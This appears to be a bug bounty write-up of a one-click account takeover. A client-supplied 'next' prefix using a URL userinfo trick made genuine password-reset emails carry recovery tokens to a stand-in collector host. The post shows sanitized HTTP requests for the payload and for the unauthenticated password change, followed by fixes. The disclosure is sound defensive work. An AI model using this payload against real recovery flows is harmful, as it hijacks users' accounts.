Skip to main content
Research
Englishالعربيةکوردی
IN-DEPTH RESEARCHCV-5AA553

A complete technical case study with methodology, evidence, impact, and lessons.

Account takeoverPassword resetAccess control

One-Click ATO: The Reset That Trusted the Client

An unauthenticated recovery call let me choose where a genuine reset email sent its recipient. One click carried the recovery token to the wrong host.

Hi, everyone.

This one started with an ordinary password-recovery request: a member handle, a JSON body, and no session cookie.

The portal's main hostname sent visitors to corporate SSO. I left that login flow alone and looked at recovery instead. A reset flow is another way into an account, and this one had its own API.

The finding was reported through an authorized public program. Testing used accounts I registered. The vendor and original implementation details remain redacted.

A field the server accepted

One field looked like a destination: where the recovery link should send the member. I supplied a collector prefix, expecting to find out whether the server would make an outbound request.

These examples preserve the relevant behavior, not the original endpoint or field names.

http
POST /v2/help/send-link HTTP/1.1
Host: portal.redacted.example
Content-Type: application/json

{
  "handle": "our-test-member",
  "next": "@collector.example/r",
  "surface": "web"
}

HTTP 200. A success message. Nothing at the collector.

That ruled out the callback I was waiting for. It did not tell me what happened to the value after the API accepted it. I checked the test account's inbox.

A recovery message had arrived from the service. The message was genuine, but its reset link was not pointing where it should.

The application had combined its own hostname with my input and appended two freshly issued recovery values. In the sanitized example, the result was:

text
https://[email protected]/r?who=<issued-id>&ticket=<issued-secret>

The part before @ is URL user information, not the destination host. The host here is collector.example. Clicking the link sends the query string there too, including the issued recovery identifier and secret.

The API had not fetched anything. The browser made the request when I clicked the reset link in my test account's email. Merely opening the email was not the step that demonstrated the leak.

Full Gmail screenshot showing the genuine recovery email. The original arrow points to the reset link's destination in the bottom status bar; the supplied redactions are preserved.
The reset link in the genuine recovery email pointed to the collector. Hovering over it revealed the destination in the bottom status bar, indicated by the arrow. Original screenshot and supplied redactions preserved.

Following the token through

A second unauthenticated endpoint accepted the two recovery values and a replacement password. It did not require a logged-in browser, bearer token, or corporate identity-provider session.

http
POST /v2/help/set-secret HTTP/1.1
Host: portal.redacted.example
Content-Type: application/json

{
  "who": "<issued-id>",
  "ticket": "<issued-secret>",
  "secret": "<new-test-password>",
  "secret2": "<new-test-password>"
}

The response was HTTP 200 and the test account's password changed. Random identifiers failed. The working pair mattered because it was a live recovery credential issued by the application.

Three details worth keeping

The SSO page was a distraction. The visible login and the recovery API were different paths. A protected front door did not make the reset flow require a session.

No callback was still useful information. My initial SSRF idea was wrong. The input survived, but it became a link in an email rather than a server-side fetch.

Registration's error page was misleading. The self-service signup appeared to fail, yet I could log in with the handle I had just submitted. The account existed despite the UI error. That gave me an account and mailbox I could safely use for the test.

Why the destination mattered

This was more than sending someone to an unrelated page. The genuine reset email carried a usable recovery credential to an attacker-controlled destination. That credential could then authorize a password change through the real recovery API.

The demonstrated chain required a known member handle and a recipient clicking the poisoned reset link. I did not need to guess the token, control the recipient's mailbox, or compromise the identity provider. The demonstration stayed within my own test account.

What I would check next time

  • Follow URL-like fields all the way through recovery, including the resulting email. An API response is not the end of the flow.
  • Inspect the parsed destination host, not just the hostname-looking text at the beginning of a URL.
  • Use a researcher-controlled account to verify what the issued token actually authorizes. A changed link alone does not establish account takeover.

Build recovery links from a server-controlled origin. If a choice of destination is genuinely necessary, parse the complete URL and strictly validate its scheme and host against trusted destinations. Reject user-information components and do not concatenate a client-supplied prefix into a trusted URL.

Recovery tokens should be unpredictable, tied to the correct account, short-lived, and invalidated after use. Those controls matter, but they do not make a leaked, still-valid token safe. Fixing where the email sends it is the essential part.

OWASP's password-recovery guidance covers trusted reset URLs and token handling.

The useful clue was not the 200. It was where the email told me to click.

Thanks for reading.

Apply the research

Need this level of testing across your attack surface?

Work directly with researchers who look beyond automated findings and test the assumptions attackers exploit.

Discuss a security assessment
Moein Abbas, Founder & Lead Penetration Tester
About the researcher

Moein Abbas

Founder of codéjà Vu. Security researcher with 15+ years in information technology and cybersecurity. Has identified and responsibly disclosed critical vulnerabilities across Fortune 50 companies and major technology organizations worldwide.

View profile and research
One-Click ATO: The Reset That Trusted the Client | MoSec | codéjà Vu